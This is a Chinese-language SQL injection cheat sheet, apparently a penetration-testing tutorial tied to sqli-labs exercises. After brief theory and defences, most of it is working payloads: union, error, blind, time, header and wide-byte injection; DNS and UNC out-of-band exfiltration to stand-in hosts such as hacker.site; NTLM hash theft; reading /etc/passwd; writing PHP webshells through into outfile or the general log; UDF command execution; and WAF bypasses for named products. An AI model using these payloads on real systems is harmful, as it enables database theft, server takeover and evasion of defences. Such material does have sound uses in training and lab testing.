渗透测试-10:SQL 注入漏洞
注入流程
- 判断数据库类型(mysql、mssql、oracle 等)
- 寻找注入点(get、post、cookie、referer、xff)
- 判断闭合方式(' " 括号)
- 注入方式(联合注入、报错注入、布尔盲注、时间盲注等)
- 获取数据(比如 mysql 中,利用 information_schema 的三张表获取数据)
- 进一步利用,看下能否 getshell
注入原理
- SQL 注入漏洞原理?
当 Web 应用向后台数据库传递 SQL 语句进行数据库 操作时如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的 SQL 语句,直接输入数据库引擎执行,获取或修改数据库中的数据 - SQL 注入的本质?
把用户输入的数据当做代码来执行,违背了数据与代码分离的原则 - SQL 注入的关键点
- 用户能控制输入的内容
- Web 应用把用户输入的内容带入到数据库中执行
- 是否回显决定注入难度
注入危害
- 获取后台数据库中的数据:这是利用最多的方式,盗取网站的数据和敏感信息
- 猜解后台数据库:盗取网站的数据和敏感信息
- 绕过认证:例如绕过验证,登录到网站后台,比如使用万能密码
- 客户端脚本攻击:提交恶意脚本到数据库中,用户浏览此内容时,将受到恶意脚本攻击
- 提权:可以借助数据库的存储过程,进行提权等操作
- getshell:如果条件满足,可以利用 sql 注入写入 shell,获取执行权限
注入漏洞防御
- 永远不要信任客户端提交的数据,要对客户端提交的数据进行校验和过滤
- 采用预编译语句绑定变量,而不是直接将变量与 SQL 语句拼接
- 对客户端提交的数据进行转义
- 严格执行数据库账号权限管理
- 对用户敏感信息(比如密码)做严格加密处理
- 增加专业的 WAF 防护设备
MySQL内置库
关键数据
爆破流程
- 注释后面的
sql
语句:字符型
:?id=1' --+
数字型
:?id=1 --+
- 判断当前表的列数:
?id=1' order by 3 --+
- 关闭原来的回显,进行联合查询,判断回显位置:
?id=-1' union select 1,2,3 --+
- 在回显位置查看数据库版本和数据库名:
?id=-1' union select user(),version(),database() --+
- 在回显位置查看所有数据库名(可略):
select group_concat(schema_name) from information_schema.schemata
- 在回显位置查看指定数据库的所有表名:
select group_concat(table_name) from information_schema.tables where table_schema=database()
- 在回显位置查看指定表的所有列名:
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名'
- 在回显位置查看指定数据:
select group_concat('(',username,'|',password,')') from 表名
联合注入
对应靶场:sqli-labs 1-4
判断是否有注入点
闭合方式:单引号
双引号
括号
组合形式
# 如果返回错误则证明有注入点(没返回错误也可能有注入点)
# ?id=1'
字符型报错
$sql="SELECT * FROM users WHERE id='$id
' LIMIT 0,1";
# $sql="SELECT * FROM users WHERE id='1'' LIMIT 0,1";
# 报错位置:'1'' LIMIT 0,1
数字型报错
$sql="SELECT * FROM users WHERE id=$id
LIMIT 0,1";
# $sql="SELECT * FROM users WHERE id=1' LIMIT 0,1";
# 报错位置:' LIMIT 0,1
注入类型判断
字符型
?id=1xxx # 源码为 id='1xxx', 正常
?id=1' and '1'='1 # 源码为 id='1' and '1'='1', 有回显
?id=1' and '1'='2 # 源码为 id='1' and '1'='2', 无回显
数字型
?id=1xxx # 源码为 id=1xxx, 报错
?id=1 and 1=1 # 源码为 id=1 and 1=1, 有回显
?id=1 and 1=2 # 源码为 id=1 and 1=2, 无回显
判断列数
手动从小到大进行尝试
1' ORDER BY 3--+
1' GROUP BY 3--+
报错提示:Unknown column '4' in 'order clause',说明只有3列
1' ORDER BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+
1' GROUP BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+
没有报错说明只有3列
1' union select @,@,@--+
注入点在 limit 条件之后,没有报错说明只有3列
1' limit 1,1 into @,@,@--+
知道表名的前提下,不需要查询就能得到列数
1' AND (SELECT * FROM Users) = 1--+
获取列名
已知表名,没有 information_schema 条件下 (MySQL >= 4.1)
?id=(1)and(SELECT * from db.users)=(1)
-- Operand should contain 4 column(s)
?id=1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)
-- Column 'id' cannot be null
已知表名,没有 information_schema 条件下 (MySQL 5)
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
-- #1060 - Duplicate column name 'id'
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
-- #1060 - Duplicate column name 'name'
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a
...
获取数据
没有列名的条件下获取第4列的数据
# payload
select `4` from (select 1,2,3,4,5,6 union select * from users)dbname;
# 说明
select author_id,title from posts where author_id=[INJECT_HERE]
# 举例
select author_id,title from posts where author_id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
搜索框注入
分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的method="get"属性来区分是get还是post
%
在 mysql
中代表任意字符
原码
:$sql="select username,id,email from member where username like '%$name
%'";
注入
:关键词' and 1=1 and '%'='
结果
:$sql="select username,id,email from member where username like '%关键词' and 1=1 and '%'='%'";
其他
:%' and 1=1--'
%' and 1=1 and '%'='
xx型注入
原码
:$sql="select id,email from member where username=('$name
')";
注入
:xx') and 1=1 #
结果
:$sql="select id,email from member where username=('xx') and 1=1 #')";
报错注入
对应靶场:sqli-labs 5-6
分类
- 基于xpath函数(5.1.5及以上,extractvalue()函数 和 updatexml()函数)
- 基于group by
- 基于double数值类型超出范围(5.5.5及以上)
- 基于bigint溢出
- 基于数据重复性
xpath函数报错
(MySQL >= 4.1)
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
updatexml(doc,xpath,value)
and updatexml(null,concat(CHAR(126),(注入点),0x7e),null) --+
extractvalue(doc,xpath) (MySQL >= 5.1)
and extractvalue(null,concat(CHAR(126),(注入点),0x7e)) --+
name_const() (仅用于常量)(MySQL >= 5.1)
AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x) --+
AND (SELECT * FROM (SELECT NAME_CONST(user(),1),NAME_CONST(user(),1)) as x) --+
AND (SELECT * FROM (SELECT NAME_CONST(database(),1),NAME_CONST(database(),1)) as x) --+
floor函数报错
前提:联合查询,已知列数,已知表名
?id=1' union select 1, count(*), concat((注入点),0x7e,floor(rand(14)*2)) as x from 表名 group by x --+
rand()报错分析
select count(*), (floor(rand(0)*2)) from users group by (floor(rand(0)*2));
count(*)
rand()
group by
三者缺一不可,rand()
在查询语句中会执行多次
虚拟表
:查询一次,rand()
运行一次,查询到则 count+1
,查询不到则插值,插值的时候 rand()
又运行一次,将第二个 rand()
值插入,实现报错
报错注入函数
DML 注入
select
是DQL
,可以直接使用union
查询到所需要的信息,因为它是一个完整的语句,而DML
只能够通过报错返回信息的方式查询到我们所需的信息insert
update
和delete
注入的方式是相同的
常用注入
' or (payload) or '
' and (payload) and '
' or (payload) and '
' or (payload) and '='
'* (payload) *'
' or (payload) and '
" – (payload) – "
insert 注入
在注册页注入
原码
:$sql="insert into member(username,password) values('{$username
}',md5('{$password
}'))";
注入
:' or updatexml(1,concat(0x7e,(注入点)),0) or '
结果
:$query="insert into member(username,password) values('{' or updatexml(1,concat(0x7e,(注入点)),0) or '}',md5('{$getdata['password']
}'))";
其他
:' or extractvalue(1,concat(0x7e,(注入点))) or '
update 注入
在编辑页注
原码
:$sql="update member set sex='{$sex}' where username='{$_SESSION['sqli']['username']}'";
注入
:' or updatexml(1,concat(0x7e,(注入点)),0) or '
结果
:$sql="update member set sex='{' or updatexml(1,concat(0x7e,(注入点)),0) or '}' where username='{$_SESSION['sqli']['username']}'";
其他
:' or extractvalue(1,concat(0x7e,(注入点))) or '
delete 注入
在删除数据页注入(通常根据id删除,为数值型)
原码
:$sql="delete from message where id={$id
}";
注入
:1 or updatexml(1,concat(0x7e,(注入点)),0)
结果
:$sql="delete from message where id={1 or updatexml(1,concat(0x7e,(注入点)),0)}";
其他
:or extractvalue(1,concat(0x5e24,(database())))
order by 注入
内联查询注入
盲注
对应靶场:sqli-labs 8-10
注入流程
- 找注入点,判断闭合情况
- 获取数据库名:判断数据库名的长度,判断数据库名的每一个字符
- 获取表名:判断表的数量,用
limit
依次判断表名的长度,判断表名的每一个字符 - 获取列名:判断列的数量,判断列名的长度,判断列名的每一个字符
- 获取数据:判断指定列的数据的数量,用
limit
依次判断数据的长度,判断数据的每一个字符
// 爆当前库名
and length(database())>5 --+
and ascii(substr(database(),1,1))>97 --+
// 爆所有库名
and if((select count(*) from information_schema.schemata)>5,1,sleep(5)) --+
and if((select length(schema_name) from information_schema.schemata limit 0,1)>5,1,sleep(5)) --+
and if((select ascii(substr(schema_name,1,1)) from information_schema.schemata limit 0,1)>97,1,sleep(5)) --+
// 爆所有表名
and (select count(*) from information_schma.tables where table_schema=database())>5 --+
and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5 --+
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 --+
// 爆所有列名
and (select count(*) from information_schema.columns where table_name='users' and table_schema=database())>5 --+
and (select length(column_name) from information_schema.columns where table_name='users' and table_schema=database() limit 0,1)>5 --+
and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schems=database() limit 0,1),1,1))>97 --+
// 爆所有数据
and (select length(列名) from 表名 limit 0,1)>5 --+
and ascii(substr((select 列名 from 表名 limit 0,1),1,1))>97 --+
常用函数
substr(string,start,length)
mid(column_name,start,length)
left(string,n)
right(string,n)
ord(char)
ascii(str)
char(M)
length(string)
if(条件,条件为真时返回,条件为假时返回)
if(条件,1,sleep(延迟秒数))
if(条件,benchmark(执行次数,测试语句),0)
布尔盲注
会间接显示查询语句是否正确,但不会显示关键信息,重复操作多
对应靶场:sqli-labs 8
正确
:You are in...........
错误
:没有回显
?id=1 and substring(version(),1,1)=5
?id=1 and right(left(version(),1),1)=5
?id=1 and left(version(),1)=4
?id=1 and ascii(lower(substr(Version(),1,1)))=51
?id=1 and (select mid(version(),1,1)=4)
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
order by 条件中用二进制查询和正则表达式
# payload
[...] ORDER BY (SELECT (CASE WHEN EXISTS(SELECT [COLUMN] FROM [TABLE] WHERE [COLUMN] REGEXP "^[BRUTEFORCE CHAR BY CHAR].*" AND [FURTHER OPTIONS / CONDITIONS]) THEN [ONE COLUMN TO ORDER BY] ELSE [ANOTHER COLUMN TO ORDER BY] END)); --+
# 示例,适用于 where子句 为注入点的查询
or (select (case when exists(select name from items where name regexp "^a.*") then sleep(3) else 1 end)); --+
# 检查 items表 的 name列 中是否存在以 a 开头的项,存在则延时3秒
SELECT name,price FROM items WHERE name = '' OR (SELECT (case WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); --+
使用条件语句
OR IF(mid(@@version,1,1)='5',sleep(1),1)=2
# Response:HTTP/1.1 500 Internal Server Error
OR IF(mid(@@version,1,1)='4',sleep(1),1)=2
# Response:HTTP/1.1 200 OK
make_set()
and make_set(YOLO<(SELECT(length(version()))),1)
and make_set(YOLO<ascii(substring(version(),POS,1)),1)
and make_set(YOLO<(SELECT(length(concat(login,password)))),1)
and make_set(YOLO<ascii(substring(concat(login,password),POS,1)),1)
like,'_' 相当于正则表达式中的 '.'
SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';
时间盲注
不管 sql 语句是否正确,不会返回任何信息,只能通过页面缓冲的时间来判断
对应靶场:sqli-labs 9-10
正确
:You are in...........
错误
:You are in...........
# 会延迟输出的代码
+BENCHMARK(40000000,SHA1(1337))+
'%2Bbenchmark(3200,SHA1(1))%2B'
AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) //SHA1
RLIKE SLEEP([SLEEPTIME])
OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
在子句中使用 sleep()
1 and (select sleep(10) from dual where database() like '%')#
1 and (select sleep(10) from dual where database() like '___')#
1 and (select sleep(10) from dual where database() like '____')#
1 and (select sleep(10) from dual where database() like '_____')#
1 and (select sleep(10) from dual where database() like 'a____')#
...
1 and (select sleep(10) from dual where database() like 's____')#
1 and (select sleep(10) from dual where database() like 'sa___')#
...
1 and (select sleep(10) from dual where database() like 'sw___')#
1 and (select sleep(10) from dual where database() like 'swa__')#
1 and (select sleep(10) from dual where database() like 'swb__')#
1 and (select sleep(10) from dual where database() like 'swi__')#
...
1 and (select sleep(10) from dual where (select table_name from information_schema.columns where table_schema=database() and column_name like '%pass%' limit 0,1) like '%')#
使用条件语句
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --
?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
HTTP Header 注入
对应靶场:sqli-labs 18-22
通过 BurpSuite
对 get
或 post
请求进行抓包重放
User-Agent
:使得服务器能够识别客户使用的 操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等Cookie
:浏览器中存储的用于记录用户状态的信息X-Forwarded-For(简称 XFF)
:简称XFF头,它代表客户端的真实的IP,通常一些网站的防注入功能会记录请求端真实 IP 地址并写入数据库或某文件,通过修改 XXF 头可以实现伪造 IPRerferer
:浏览器告诉 WEB 服务器自己是从哪个页面链接过来的Host
:客户端指定自己想访问的WEB服务器的地址及端口号
原码
:$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id
','$remoteipadd
','$useragent
','$httpaccept
','$remoteport
')";
注入
:' or updatexml(1,concat(0x7e,database()),0) or '
结果
:$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('' or updatexml(1,concat(0x7e,database()),0) or '','$remoteipadd
','$useragent
','$httpaccept
','$remoteport
')";
其他注入
堆叠注入
对应靶场:sqli-labs 38
在 SQL 语句中,分号用来表示一条 sql 语句的结束,如果在 ;
结束一个 sql 语句后,继续构造下一条语句,分号之后的 sql 语句也会执行,且可以执行任意语句,这个类型的注入称为堆叠注入
漏洞函数
:mysqli_multi_query($conn,$sql)
可执行多条 sql 语句导致堆叠注入
JSON 注入
JSON 注入是指应用程序所解析的 JSON 数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造 JSON,则可以更改 JSON 数据的语义。在相对理想的情况下,攻击者可能会插入无关的元素,导致应用程序在解析 JSON 数据时抛出异常
payload
:json={"username":"admin' and extractvalue(1,concat(0x7e,database(),0x7e)) --+"}
二次注入
对应靶场:sqli-labs 24
- 后端代码对用户输入的数据进行了转义
- 保存到数据库时没有转义
- 再次读取数据库的数据时,没有对数据中的特殊字符转义,可形成闭合,导致二次注入
流程
:注册用户名 admin' #
=> 登录 admin' #
=> 修改密码导致 admin
密码被改
二次编码注入
- HTTP 请求过程:浏览器(get/post)=>服务器=>浏览器显示
- 浏览器会把 URL 经过 编码后发送 给服务器, 不同的浏览器 对 URL 的编码规则不同。GET 方式提交的数据,浏览器会自动进行 URL 编码;POST 方式提交的数据,其编码方式可以由 开发者进行指定
- 服务器根据其自身的配置文件对 URL 进行解码(解码成 Unicode)
- 浏览器按照指定的编码显示该网页。此外,在客户端也就是浏览器上运行的前端程序也会根据 Web 服务的需要对要传输的数据进行一些编码操作,而在服务端除了服务器中间件会自动对 URL 进行解码,后端的 Web 程序会对前端进行编码的数据进行解码操作
漏洞函数
:urldecode($id)
宽字节注入
对应靶场:sqli-labs 32-37
url 编码
字符=>ascii(字符)=>十六进制(ascii(字符))=>%(十六进制(ascii(字符)))
空格:%20
换行:%0a
Tab:%09
":%22
#:%23
%:%25
&:%26
':%27
(:%28
):%29
\:%5C
-:%2D
=:%3D
|:%7C
~:%7E
`:%60
常见漏洞函数
mysqli_set_charset($conn,"GBK");
mysqli_query($conn, "set names UTF-8");
// 转义 SQL 语句中使用的字符串中的特殊字符
mysql_real_escape_string($id,$conn);
mysqli_real_escape_string($conn,$id);
urldecode($id);
iconv("GBK","UTF-8",$id);
addslashes($id);
mb_convert_encoding($id,"UTF-8","GBK");
常见字符集
ASCII
:美国信息交换标准代码,共128个字符,每个符号只用一个字节的后面7位,第1位统一规定位0。
Unicode
:包含世界上所有符号的编码集合,符号的字节数不统一,难以区分简单符号和特殊符号
UTF-8
:对于单字节的符号,字节的第一位设为 0,后面的 7 位为这个符号的 Unicode 码。对于英文字母,UTF8 编码和
ASCII 编码是相同的。对于非单字节(假设字节长度为 N )的符号,第一个字节的前 N 位都设为 1,第 N+1 设为 0,后面字节的前两位一律设为 10,剩下的没有提及的二进制,全部为这个符号的 Unicode 码 UTF8 规定 1 个英文字符用 1 个字节表示,1 个中文字符用 3 个字节表示
GB2312
:适用于 汉字处理、汉字通信 等系统之间的信息交换,通行于中国大陆和新加坡等地也采用此编码,1980 年发布,支持汉字 6763 个和非汉字图形字符 682 个,每个汉字及符号以两个字节来表示
GBK:
:于 1995年12月1日 制订,采用两个字节编码方案,共收录汉字和图形符号 21886 个,它几乎完美支持汉字,因此经常会遇见 GBK 与 Unicode 的转换
mysql编码
mysql 编码规则:show variables like '%character%';
- character_set_client:用来指定解析客户端传递数据的编码
- character_set_connection:用来指定数据库内部处理时使用的编码
- character_set_results:用来指定数据返回给客户端的编码方式
- character_set_system: 这是 mysql server 用来存储元数据的编码
- character_set_filesystem: 这是文件系统字符集编码主要用于解析用于文件名称的字符串字面值
mysqli_query($conn, "set names UTF-8");
将会把 client
connection
results
的字符集设置成 UTF-8
宽字节概念
1、单字节字符集:所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127)
2、多字节字符集:在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。
3、UTF-8 编码: 是一种编码的编码方式(多字节编码),它可以使用1~4个字节表示一个符号,根据不同的符号而变化字节长度。
4、常见的宽字节: GB2312、GBK、GB18030、BIG5、Shift_JIS GB2312 不存在宽字节注入,可以收集存在宽字节注入的编码。
5、宽字节注入时利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字
宽字节注入原理
addslashes()
函数返回在预定义字符
之前添加反斜杠的字符串' => \' => %5C%27
- 宽字节注入利用了mysql一个特性,即当 mysql 在使用 GBK 编码的时候,会认为两个字符是一个汉字,当在前面引入一个 ASCII 大于 128 的字符(比如 %df),会认为两个字符是一个汉字,url 编码变为:
%df' => %df\' => (%df%5C)%27 => 運'
,%df%5C 会被当作一个汉字处理,从而使 %27(单引号) 逃逸 预定义字符
:单引号('),双引号("),反斜杠(\),NULLpayload
:id=%df%27 or 1=1 --+
场景1
- mysqli_query($conn, "set names UTF-8");
- addslashes($id);
场景2
- mysqli_query($conn, "set names UTF-8");
- addslashes($id);
- mb_convert_encoding($id,"UTF-8","GBK");
- iconv("GBK","UTF-8",$id);
场景3
- mysqli_query($conn, "set names UTF-8");
- mb_convert_encoding($id,"UTF-8","GBK");
- iconv("GBK","UTF-8",$id);
- addslashes($id);
防注入措施
对于宽字节注入,有一种最好的修补就是:
(1)使用mysqli_set_charset($conn,"GBK")指定字符集
(2)使用mysqli_real_escape_string($conn,$id)进行转义
mysql_real_escape_string 与 addslashes 的不同之处在于其会考虑当前设置的字符集。不会出现把 %df%5c 拼接为一个宽字节的问题,所以用 mysql_set_charset 对当前字符集进行指定,然后转义即可。
Out of band
select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt'
select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt'
DNSLog 注入
对应靶场:sqli-labs 5
payload
:
?id=1' and (select load_file(concat('\\\\',(注入点),'.xxxxx.dnslog.cn/abc'))) --+
?id=1' and (select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'))) --+
?id=1' and (select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874))) --+
前提条件
- MySQL 开启 load_file()
- DNSLog 回显平台
- Windows 平台
secure_file_priv
- 为
null
时,表示 mysqld 不允许导入导出 - 为指定文件夹
/dir/
时,表示 mysqld 的导入导出只能发生在/dir/
- 位空
在 my.ini
文件中 [mysqld]
后面写入 secure_file_priv=
然后重启 mysql
服务
或在 mysql
命令行输入 set global secure_file_priv=;
查看
:show variables like "%secure_file_priv%";
load_file()
函数
:load_file(file_name),其中 file_name 是文件的完整路径,读取一个文件并将其内容作为字符串返回
满足的条件
:文件必须位于服务器主机上 ,必须具有该 FILE
权限才能读取该文件。拥有该 FILE
权限的用户可以读取服务器主机上的任何文件,该文件是 world-readable
的或 MySQL
服务器可读的,此属性与 secure_file_priv
状态相关,文件必须是所有人都可读的,并且它的大小小于 max_allowed_packet
字节
UNC 路径
concat() 函数拼接了4个\
了,因为转义的原因,4个就变\
成了2个\
,目的就是利用 UNC 路径,在 Widnows 中用共享文件的时候就会用到这种网络地址的形式 \\sss.xxx\test\
,因为Linux没有UNC路径这个东西,所以当 MySQL 处于 Linux 系统中的时候,是不能使用这种方式外带数据的
# NTLM hash stealing
select load_file('\\\\error\\abc');
select load_file(0x5c5c5c5c6572726f725c5c616263);
select 'osanda' into dumpfile '\\\\error\\abc';
select 'osanda' into outfile '\\\\error\\abc';
load data infile '\\\\error\\abc' into table database.table_name;
dnslog平台
注意
- 由于每一级域名的长度只能为
63
个字符,所以在mysql
中获取到超过63
个字节的字符时,会被当作一个错误的域名,不会产生去解析的动作,所以dnslog.cn
也不会收到解析的记录 - 域名里有一个规则,只能出现数字,字母,下划线,所以在获取到的信息中包含了其他特殊符号时,
load_file
就会认为是一个错误的域名,不会去网络中解析 - 在使用
group_concat
合并查询时,会自动使用,
连接我们查询到的每值,但是由于,
在url中是不允许出现的,所以使用group_concat
查询到的值去解析时候,mysql
就会认为这不是一个url
地址,不会去网络中解析 绕过
:select SUBSTR(replace((group_concat(username )),',','_'),1,63)
当前查询
列出 DB 当前正在执行的所有操作
# payload
union SELECT 1,state,info,4 FROM information_schema.processlist #
# 示例
union select 1,(select(@)from(select(@:=0x00),(select(@)from(information_schema.processlist)where(@)in(@:=concat(@,0x3C62723E,state,0x3a,info))))a),3,4 #
读取文件内容
需要开启 -secure-file-priv
权限
UNION ALL SELECT LOAD_FILE('/etc/passwd') --
UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php'));
# 如果你是 root 身份,可以用如下查询重新允许 load_file
GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#
Write a shell
对应靶场:sqli-labs 7
into outfile
[...] union select 1,2,"<?php @eval($_POST['cmd']);?>" into outfile "C:/Program Files/ToolBoxs/PhpStudy/PHPTutorial/WWW/shell.php"
[...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
[...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>'
[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'
[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'
into dumpfile
[...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPFILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
[...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php';
前提条件
-
web
目录具有写权限,能够使用引号(未开启全局GPC
) -
知道网站的绝对路径(根目录,或是根目录下的某个目录)
-
secure_file_priv
没有具体值 或 设置为网站根目录下的某个目录
配置
在 my.ini
文件中 [mysqld]
后面写入 secure_file_priv=
或在 mysql
命令行输入 set global secure_file_priv=;
查看
:show variables like "%secure_file_priv%";
日志
payload
:select "<?php @eval($_POST['cmd']);?>";
前提条件
-
开启 general_log 模式:general_log=on
-
设置日志地址为 webshell 的地址:general_log_file="网站目录 或 shell的地址"
-
Mysql 具有较高权限
配置
在 my.ini
文件中 [mysqld]
后面写入
-
general_log = 1
-
general_log_file = "D:/phpStudy/PHPTutorial/WWW/webshell.php"
或在 mysql
命令行输入
-
set global general_log = "ON";
-
set global general_log_file="D:/phpStudy/PHPTutorial/WWW/webshell.php";
查看
:show variables like "%general_log%";
UDF 命令行执行
首先确定服务器是否下载 UDF
$ whereis lib_mysqludf_sys.so
/usr/lib/lib_mysqludf_sys.so
然后使用 sys_exec()
和 sys_eval()
$ mysql -u root -p mysql
Enter password: [...]
mysql> SELECT sys_eval('id');
+--------------------------------------------------+
| sys_eval('id') |
+--------------------------------------------------+
| uid=118(mysql) gid=128(mysql) groups=128(mysql) |
+--------------------------------------------------+
Bypass
常见绕过方式
-
= 绕过
-
绕过 union select where 等:
注释符绕过
大小写绕过
内联注释绕过
关键字绕过
-
通用绕过(编码)
大小写绕过
payload
:?id=-1 Union Select 1,2,(Select group_concat(table_name) from information_schema.tables where table_schema=database())
注释符绕过
mysql 常用注释符://
--
/* */
#
--+
---
;%00
--a
/*!表示不注释*/
/*!88888当数字大于mysql版本时算注释*/
注
:select * from emails users;
会忽略后面的 users
而不产生报错
payload
:select 1,2,3 from users where '1'/1=(1=1)/'1'='1'
内联注释绕过
payload
:/*!11111select version()*/
浮点数绕过
select * from users where id=8E0union select 1,2,3
=> select * from users where id=8.0 select 1,2,3
空格+括号绕过
()
=>空格
+
=>空格
%0a
=空格
%a0
=>空格
tab
=>空格
空格空格
=>空格
/* */
=>空格
/*!88888xxxxxx*/
=>空格
payload
:?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
逗号绕过
-
Select substr(database() from 1 for 1);
-
Select mid(database() from 1 for 1);
-
select * from news limit 1 offset 0
=>Select * from news limit 0,1
-
union select * from(select 1)a join (select 2)b
=>Union select1,2
-
select user() like 'r%'
=>Select ascii(mid(user(),1,1))=80
加号绕过
payload
:or 'swords'='sw'+'ords';EXEC('IN'+'SERT INTO'+'')
换行符绕过
payload
:select%0a*%0afrom%0ausers;
比较符(< >)绕过
greatest()
:返回参数列表的最大值
least()
:返回参数列表的最小值
strcmp(A,B)
:A<B返回-1,A=B返回0,A>B返回1
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
select strcmp(left(database(),1),0x32);
关键字绕过
- if(substr(id,1,1)in(0x41),1,3)
- select * from users where a in ('aaa');
- select substr(a,1,1) in ('a') from users ;
- select * from users where a between 'a' and 'b';
- select * from users where a between 0x89 and 0x90;
- select * from users union select 1,2,3 order by 1;
- select 1 as test from users group by test with rollup limit 1 offset 1;
union select * from (select 1)a join (select 2)b
=>union select 1,2
select user() like 'r%'
=>select ascii(mid(user(),1,1))=80
or and xor not 绕过
and
=>&&
or
=>||
xor
=>|
not
=>!
= 绕过
使用like、rlike、regexp或者使用<或者>
垃圾数据绕过
payload
:?id=11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 or 1 --+
无列名注入
payload
select 1,2,3,4,5 union select * from table;
select `2` from (select 1,2,3,4,5 union select * from table)a;
select c from (select 1,2 as b,3,4 as c,5 as d union select * from table)a;
select concat(b,0x2d,c) from (select 1,2 as b,3 as c,4,5 union select * from `table)a;
判断列数绕过
payload
:select * from users limit 1,1 into @a,@b,@c;
更换提交方式绕过
get=>post
post=>get
双写绕过(替换关键字)
payload
:?id=-1 union selselectect 1,2,3 --+
引号绕过(十六进制替换)
0x7573657273
=> "users"
通用绕过(编码)
%6f%72%20%31%3d%31
=> or 1=1
char(0x67)+char(0x75)+char(0x65)+char(0x73)+char(0x74)
=> "guest"
HTTP参数污染绕过
payload
:?id=1&id=-1'
URL编码绕过
payload
:?id=-1 union %2573%65%6c%65%63%74 1,2,database()
等价绕过
hex()
bin()
=>ascii()
sleep(3)
=>benchmark(200000000,encode('a','b'))
concat_ws()
=>group_concat()
json_arrayagg()
=>group_concat()
(MySQL >= 5.7.22)mid()
substr()
=>substring()
@@user
=>user()
@@datadir
=>datadir()
like
=>=
group by 1
=>order by 1
+
=>空格
0x3a
=>:
0x3c62723e
=><br>
%23%0a
=注释换行
payload
?id=1/**/and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
substr((select 'password'),1,1)=0x70
strcmp(left('password',1),0x69)=1
strcmp(left('password',1),0x70)=0
strcmp(left('password',1),0x71)=-1
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
绕过 WAF
(Web Application Firewall)
绕过安全狗
payload
?id=1") union/*!88888xxxxx*/%23%0aselect 1,2,3 --+
?id=1") order/*!88888xxxxx*/by 3 --+
?id=") group by 3 --+
绕过云锁
payload
?id=--1' union select 1,2,group_concat(key.key) from /*sql-yunsuo*/.key --+
?id=/*-1' union select 1,2,3 --+
